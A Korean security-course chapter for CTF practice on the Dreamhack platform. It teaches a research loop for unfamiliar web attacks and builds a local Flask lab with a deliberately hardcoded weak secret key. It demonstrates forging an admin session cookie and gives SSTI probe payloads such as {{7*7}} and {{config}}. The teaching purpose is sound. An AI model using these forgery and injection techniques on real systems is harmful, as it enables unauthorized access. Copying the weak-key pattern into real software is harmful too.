Step 153. 드림핵 웹 (누적 24) — 리서치로 돌파하기

Step 153. 드림핵 웹 (누적 24) — 리서치로 돌파하기

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간

전제: Step 152를 마쳤다. 드림핵 웹 문제 누적 16개, 추측-적중 기록표를 쓰고 있다.

  • 준비물: 드림핵 계정, 검색 엔진, 개인 위키, 파이썬 3 + Flask(로컬 재현용).
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 합법 연습장 안내: 드림핵은 문제별 공격 대상을 공식 발급하는 합법 학습 플랫폼이고, 오늘의 세션 쿠키 실험은 내 컴퓨터의 로컬 랩입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.

여기까지 오면 이제 문제가 여러분보다 앞서 나가기 시작합니다. 처음 보는 단어가 문제에 등장합니다 — SSTI, XPath 주입, 세션 고정, SSTI… 배운 적 없는 기법들입니다. 낙심할 필요 없습니다. 프로는 모든 기법을 아는 사람이 아니라, 모르는 것을 빨리 찾아서 적용하는 사람입니다.

오늘의 주인공은 페이로드가 아니라 검색 키워드입니다. "Flask session cookie forge"처럼 "기술 스택 + 공격 동사"로 검색하는 감각, HackTricks 같은 치트시트에서 필요한 한 절만 뽑아 읽는 기술. 이 리서치 능력이 이 책의 나머지 전부를 관통하는 도구입니다. 먼저 로컬 랩에서 "검색하면 나오는 기법"의 한 예를 끝까지 재현해 보고, 실전 8문제로 갑니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 문제에서 기술 스택(Flask, PHP 등)을 식별해 검색 키워드의 재료로 쓴다
  • "기술명 + vulnerability/attack" 형식의 검색 쿼리를 만든다
  • HackTricks에서 해당 항목을 찾아 실험까지 연결한다
  • Flask 세션 쿠키의 구조를 해부하고, 약한 키 노출 시 위조가 가능함을 실측한다
  • 리서치로 푼 문제의 과정(키워드→자료→페이로드)을 기록한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 드림핵 워게임 + 검색 엔진 + 파이썬 3 + Flask(로컬 랩)
오늘의 명령 base64.urlsafe_b64decode(), get_signing_serializer(), 검색 쿼리 작성
필요한 개념 기술 스택 식별, 서명된 쿠키, 리서치 루프, 치트시트 읽기
오늘의 산출물 누적 24문제 + 리서치 기록 3건 + 새 기법 카드 3장

2-1. 모르는 것이 나왔을 때의 표준 절차

처음 보는 기법을 만났을 때의 절차를 네 단계로 고정합니다.

① 기술 스택 파악 — 개발자 도구의 응답 헤더, 쿠키 모양, 에러 메시지, 소스 흔적
② 검색 — "기술명 + vulnerability" / "기술명 + attack" (영문 검색이 기본)
③ 치트시트 읽기 — HackTricks(book.hacktricks.xyz) 등에서 해당 항목의 '핵심 구조'만
④ 실험 — 읽은 것을 문제 서버에 즉시 적용, 안 되면 ②로 돌아가 키워드 수정

②의 키워드가 실력입니다. "쿠키 해킹"으로는 아무것도 못 찾지만, "flask session cookie forge"는 정확한 문서로 갑니다. 스택을 식별하는 능력(①)이 곧 검색 능력의 반입니다.

2-2. 서명된 쿠키 — 읽을 수 있지만 고칠 수 없다

많은 프레임워크의 세션 쿠키는 Step 150의 JWT와 같은 철학입니다 — 내용은 Base64로 읽히고, 위조만 서명으로 막습니다. Flask의 세션 쿠키도 페이로드.타임스탬프.서명 구조로, 누구나 내용을 디코딩할 수 있습니다.

그런데 여기서 리서치가 개입합니다. "서버의 비밀키가 소스 코드에 노출되면?" "개발용 기본 키를 배포에 그대로 쓰면?" — 이 질문의 답이 "flask session cookie forge" 검색 결과에 있습니다. 오늘 이것을 직접 재현합니다.

2-3. 치트시트 읽는 법

HackTricks나 PayloadsAllTheThings 같은 치트시트는 처음부터 읽는 책이 아닙니다. 목차에서 지금 내 문제에 해당하는 항목 하나를 열고, ① 취약점의 조건 ② 탐지 방법 ③ 대표 페이로드 세 문단만 뽑습니다. 전부 이해할 필요 없이 "문제 서버에 던져 볼 첫 페이로드"만 건지면 충분합니다. 이해는 실험이 성공한 뒤에 따라옵니다.

2-4. 리서치 기록의 형식

리서치로 푼 문제는 "무엇을 검색해 무엇을 얻어 어떻게 적용했는가"가 재산입니다.

■ 리서치 기록: (문제명)
- **막힌 지점**: (모르는 단어/현상)
- **검색 키워드**: (실제로 친 것, 실패한 키워드 포함)
- **찾은 자료**: (문서 제목과 핵심 한 줄)
- **적용한 페이로드**: (성공한 것)
- **다음에 바로 쓸 한 줄**: (기법 카드에 옮길 문장)

실패한 키워드까지 적는 이유: 검색은 시행착오의 기록이 곧 실력이기 때문입니다. "이 키워드는 잡음이 많더라"가 다음 검색을 빠르게 합니다.


3. 따라 하기

3-1. 로컬 랩 — Flask 세션 쿠키 해부

"flask session cookie forge"를 검색했다면 나올 기법을, 검색 대신 직접 재현합니다. 시나리오: 개발용 비밀키 dev-secret을 그대로 쓴 서버가 있다고 가정합니다. flask_session_lab.py:

from flask import Flask, session

app = Flask(__name__)
app.secret_key = "dev-secret"  # 개발용 키를 배포에 그대로 — 실수 시나리오

@app.route("/")
def index():
    session["user"] = "guest"
    return "세션 발급 완료. /admin 에서 권한 검사\n"

@app.route("/admin")
def admin():
    if session.get("user") == "admin":
        return "flag{session_forged}\n"
    return "403: 관리자만\n", 403

if __name__ == "__main__":
    app.run(port=5495)

서버를 켜고 브라우저로 http://127.0.0.1:5495/에 접속하면 세션 쿠키가 발급됩니다. 개발자 도구 Application 탭에서 session 쿠키 값을 복사하세요.

3-2. 쿠키 내용 읽기 — 누구나 가능

발급된 값의 첫 덩어리를 Base64로 디코딩합니다.

import base64
value = "eyJ1c2VyIjoiZ3Vlc3QifQ.aqEINg.GU-0D01mP_3dsEDl54hcifaCpUI"  # 여러분의 값
payload = value.split(".")[0]
payload += "=" * (-len(payload) % 4)
base64.urlsafe_b64decode(payload).decode()

출력 (2026-09-09 실측):

{"user":"guest"}

읽는 법: JWT 때와 같은 그림입니다 — 내용은 공개, 보호는 서명(세 번째 덩어리)뿐. guestadmin으로 고치고 싶지만, 서명이 어긋나면 서버가 버립니다.

3-3. 키 없이 조작 vs 키를 알고 위조

먼저 키 없이 내용만 고친 쿠키로 /admin에 접근해 봅니다. 그리고 "공격자가 비밀키를 알아낸 경우"(소스 유출, 기본값 사용 등)를 재현합니다 — 서버와 같은 서명기로 새 쿠키를 굽습니다.

import urllib.request

def get(path, cookie):
    req = urllib.request.Request("http://127.0.0.1:5495" + path)
    req.add_header("Cookie", cookie)
    try:
        with urllib.request.urlopen(req) as r:
            return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

# 키 없이: 내용만 admin으로 고치고 서명은 엉터리
fake = base64.urlsafe_b64encode(b'{"user":"admin"}').rstrip(b"=").decode()
get("/admin", "session=" + fake + ".AAAA...엉터리서명")

# 키를 안다면: 같은 서명기로 정품 위조
serializer = app.session_interface.get_signing_serializer(app)
forged = serializer.dumps({"user": "admin"})
get("/admin", "session=" + forged)

출력 (2026-09-09 실측):

== 키 없이 조작한 쿠키로 /admin ==
(403, '403: 관리자만\n')
== 위조 쿠키로 /admin ==
(200, 'flag{session_forged}\n')

읽는 법: 키 없이 고친 쿠키는 서명 불일치로 세션 자체가 버려져 403, 비밀키로 구운 쿠키는 정품과 구분 불가라 200과 플래그입니다. 이것이 "flask session cookie forge" 검색 결과 문서들이 설명하는 바로 그 구조입니다.

: 이 실험의 요점은 두 가지입니다. ① 방어: secret_key는 긴 무작위 값이어야 하고 절대 소스 저장소에 커밋하면 안 됩니다. ② 공격 감각: Flask로 보이는 서버의 문제라면 "세션 쿠키 키가 어딘가 노출돼 있지 않을까"가 리서치의 출발점입니다.

3-4. 실전에서 기술 스택 식별하기

드림핵 문제 서버에 접속하면 먼저 스택을 식별합니다. 단서들 (화면 예시 — 문제마다 다릅니다):

단서 보는 곳 알 수 있는 것
Set-Cookie: session=eyJ... 응답 헤더 Flask/파이썬 계열 (JWT형 세션)
Set-Cookie: PHPSESSID=... 응답 헤더 PHP
에러 화면의 프레임워크명 일부러 오류 유발 정확한 프레임워크·버전
werkzeug, nginx Server 응답 헤더 서버 소프트웨어

스택이 보이면 검색 쿼리가 완성됩니다. 예: Flask가 보이고 세션 쿠키가 JWT 모양 → "flask session cookie secret key leak" → 치트시트 도착 → 3-3의 재현이 곧 공격 절차.

3-5. 실전 8문제 — 리서치 루프 적용

난이도 1~2에서 8문제를 추가하되, 오늘은 모르는 키워드가 보이는 문제를 일부러 고릅니다. 절차:

① 정찰 + 스택 식별 (3-4의 단서표 사용)
② 모르는 단어 발견 → 그대로 영문 검색어로 ("SSTI flask" 식)
③ HackTricks 해당 항목에서 '조건·탐지·페이로드' 세 문단 발췌
④ 문제 서버에 적용 → 성공하면 리서치 기록 작성, 실패하면 키워드 수정해 ②로

한 번의 검색으로 안 되는 것이 정상입니다. 평균적으로 키워드를 두세 번 다듬습니다 — "넓은 단어로 문서를 찾고, 문서 안의 정확한 용어로 다시 검색"하는 2단 검색이 빠릅니다.


4. 미션과 연습문제

미션 — 누적 24와 리서치 자산화

  1. 로컬 랩에서 세션 쿠키 해부 → 키 없는 조작 실패 → 키 있는 위조 성공까지 재현합니다
  2. 드림핵 웹 문제 8개를 추가해 누적 24개를 만듭니다
  3. 그중 최소 3문제는 "배운 적 없는 기법"을 리서치로 돌파하고, 2-4 형식의 리서치 기록을 남깁니다
  4. 새로 배운 기법 3개를 기법 카드(Step 105의 목록)에 추가합니다
  5. HackTricks를 즐겨찾기에 등록하고 웹 항목의 목차를 한 번 훑어봅니다

연습문제

문제 1. 3-3 실험에서 키 없이 고친 쿠키는 거부되고 키로 구운 쿠키는 통과한 이유를 서명의 관점에서 설명해 보세요.

문제 2. "flask session cookie forge"라는 검색어가 "쿠키 해킹"보다 나은 이유를 키워드 구성(기술명 + 대상 + 공격 동사)으로 분석해 보세요.

문제 3. 치트시트에서 처음에 뽑아야 할 세 문단(조건·탐지·페이로드)이 각각 어떤 질문에 답하는지 써 보세요.

문제 4. 리서치 기록에 실패한 검색 키워드까지 남겨야 하는 이유는 무엇인가요?


5. 모범 답안과 완료 기준

미션 모범 답안

1번은 3-2·3-3의 실측 그대로입니다. 대조 화면:

쿠키 페이로드: {"user":"guest"}              ← 누구나 읽힘
키 없는 조작:  (403, '403: 관리자만')         ← 서명 불일치로 폐기
키 있는 위조:  (200, 'flag{session_forged}')  ← 정품과 구분 불가

2~4번은 플랫폼에서 진행합니다. 리서치 기록이 이 모양이면 합격입니다 (화면 예시):

- 막힌 지점: 평가식에 {{7*7}}을 넣으니 49가 출력됨 — 템플릿이 입력을 실행?
- 검색 키워드: "jinja2 template injection" → "SSTI flask cheat sheet"
- 찾은 자료: HackTricks SSTI 항목 — {{ }} 표현식이 서버에서 평가됨
- 적용한 페이로드: {{config}} 로 설정값 확인 → 이후 플래그 경로 확보

검증하는 법: ① 프로필 해결 수 24 이상. ② 리서치 기록 3건에 "검색 키워드" 칸이 실제 검색 문장으로 채워져 있는가. ③ 기법 카드 3장이 "조건 + 첫 페이로드" 형식으로 쓰였는가.

연습문제 해답

문제 1 해답. 쿠키의 세 번째 덩어리는 "비밀키 + 내용"으로 계산한 서명이라, 내용을 고치면 서버가 다시 계산한 서명과 어긋납니다. 키 없이는 맞는 서명을 만들 수 없어 조작 쿠키는 폐기됐고(403), 같은 키와 서명기로 구운 쿠키는 서버의 재계산과 일치해 정품으로 처리됐습니다(200). 비밀키의 노출이 곧 위조권의 노출입니다.

문제 2 해답. 세 부분이 각각 검색 범위를 좁힙니다. 기술명(flask)이 프레임워크 문서로 한정하고, 대상(session cookie)이 그 안의 항목을 가리키고, 공격 동사(forge)가 방어 문서가 아닌 공격 기법 문서를 상위에 올립니다. "쿠키 해킹"은 세 부분이 전부 빠져 잡음이 섞입니다.

문제 3 해답. 조건은 "내 문제에 이 기법이 적용되는가"(전제 확인), 탐지는 "적용되는지 어떻게 확인하는가"(시험 입력), 페이로드는 "확인됐으면 무엇을 던지는가"(공격 실행)에 답합니다. 이 셋이 있으면 문서를 닫고 실험으로 넘어갈 수 있습니다.

문제 4 해답. 검색 능력은 "어떤 키워드가 잡음이 많은가"에 대한 데이터로 길러지기 때문입니다. 성공 키워드만 남기면 왜 그 키워드에 도달했는지 과정이 사라져, 다음에 비슷한 문제에서 같은 시행착오를 반복합니다. 실패 키워드의 목록이 곧 나만의 검색 전략 문서입니다.

완료 기준 체크리스트

  • [ ] Flask 세션 쿠키의 세 덩어리를 해부하고 내용을 읽었다
  • [ ] 키 없는 조작(실패)과 키 있는 위조(성공)를 대조 실측했다
  • [ ] 응답 헤더·쿠키 모양으로 기술 스택을 식별할 수 있다
  • [ ] "기술명 + vulnerability/attack" 검색 쿼리를 만들 수 있다
  • [ ] HackTricks에서 조건·탐지·페이로드를 뽑아 실험까지 연결했다
  • [ ] 리서치 기록 형식(키워드→자료→페이로드)을 사용했다
  • [ ] 미션: 누적 24문제 + 리서치 기록 3건 + 기법 카드 3장

6. 흔한 실수와 해결

벽 1. 검색하면 전부 영어 문서라 손이 안 간다

원인: 웹 해킹 자료는 영문이 압도적으로 많습니다 — 피할 수 없는 관문입니다.
해결: 통째로 읽지 마세요. 치트시트는 코드 블록과 굵은 제목만 훑어도 페이로드가 나옵니다. 모르는 단어는 번역기를 쓰되, 기술 용어는 원문 그대로 외우는 쪽이 다음 검색에 유리합니다.

벽 2. 쿠키를 고쳤는데 로그인이 풀린다

증상: 쿠키 값을 조금만 바꿔도 게스트가 아니라 아예 비로그인 상태가 됩니다.
원인: 서명 불일치로 서버가 세션 통째로 폐기한 것입니다 — 3-3 실측의 403과 같은 일입니다. 버그가 아니라 서명이 작동하는 증거입니다.
해결: "조작"이 아니라 "위조"가 필요한 상황입니다. 키 노출 단서(소스 코드, 기본값, Git 이력)를 찾는 쪽으로 가설을 옮기세요.

벽 3. HackTricks를 열었는데 어디를 읽어야 할지 모르겠다

원인: 목차가 방대해서입니다. 그 문서는 교과서가 아니라 사전입니다.
해결: 브라우저의 페이지 내 검색(Ctrl+F)으로 지금 내 단서(예: session, SSTI, 프레임워크명)를 찾아 그 절만 읽으세요. 필요한 것은 한 절입니다.

벽 4. 배운 기법의 페이로드를 넣어도 반응이 없다

원인: 같은 이름의 기법도 프레임워크·버전마다 세부 문법이 다릅니다.
해결: 페이로드를 고치기 전에 탐지 페이로드부터 확인하세요. SSTI라면 {{7*7}}49가 되는가처럼, "엔진이 입력을 실행하는가"를 가장 작은 시험으로 먼저 봅니다. 탐지가 안 되면 가설 자체가 틀린 것 — 2단 검색으로 돌아가세요.

벽 5. 리서치로 풀었는데 왜 풀렸는지 설명이 안 된다

원인: 페이로드만 베끼고 조건 이해를 건너뛴 것입니다.
해결: 기법 카드를 쓸 때 "왜 통하는가" 한 줄을 못 적으면 문서로 돌아가세요. 설명 못 하는 성공은 복권이고, 설명되는 성공만이 실력입니다. 막히면 그 기법을 로컬 Flask 랩으로 재현해 보는 것(오늘 3-1~3-3처럼)이 가장 빠른 이해입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
리서치 루프 스택 식별 → 검색 → 치트시트 → 실험의 반복
검색 쿼리 설계 기술명 + 대상 + 공격 동사 ("flask session cookie forge")
서명된 쿠키 내용은 공개, 위조만 차단 — 키 노출이 곧 위조권 노출
2단 검색 넓은 단어로 문서 도착 → 문서 속 정확한 용어로 재검색
탐지 페이로드 {{7*7}}처럼 엔진 작동 여부만 보는 최소 시험
리서치 기록 키워드→자료→페이로드→한 줄 요약의 자산화

오늘의 명령어·도구

명령·도구 하는 일
base64.urlsafe_b64decode() 쿠키·토큰 페이로드 해독
app.session_interface.get_signing_serializer(app) Flask 세션 서명기 (위조 재현용)
응답 헤더 Set-Cookie·Server 기술 스택 식별
HackTricks(book.hacktricks.xyz) 기법 치트시트 — 조건·탐지·페이로드
"기술명 + vulnerability" 검색 모르는 기법의 문서 찾기

명령어보다 중요한 감각

모르는 단어를 만나면 그 단어가 힌트입니다 — 문제 제작자가 알려 주는 실마리니 그대로 검색창에 넣으세요. 그리고 기억하세요: 프로와 아마추어의 차이는 지식의 양이 아니라 지식에 도달하는 속도입니다. 오늘의 리서치 루프 — 식별, 검색, 발췌, 실험, 기록 — 는 이 책이 끝난 뒤에도 계속 쓰는, 어쩌면 이 챕터에서 가장 오래 남는 기술입니다. 새 기법을 만날 때마다 로컬 랩에서 직접 재현해 보는 습관까지 더하면, 읽은 것이 손에 남습니다.


전부 체크되면 Step 153 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.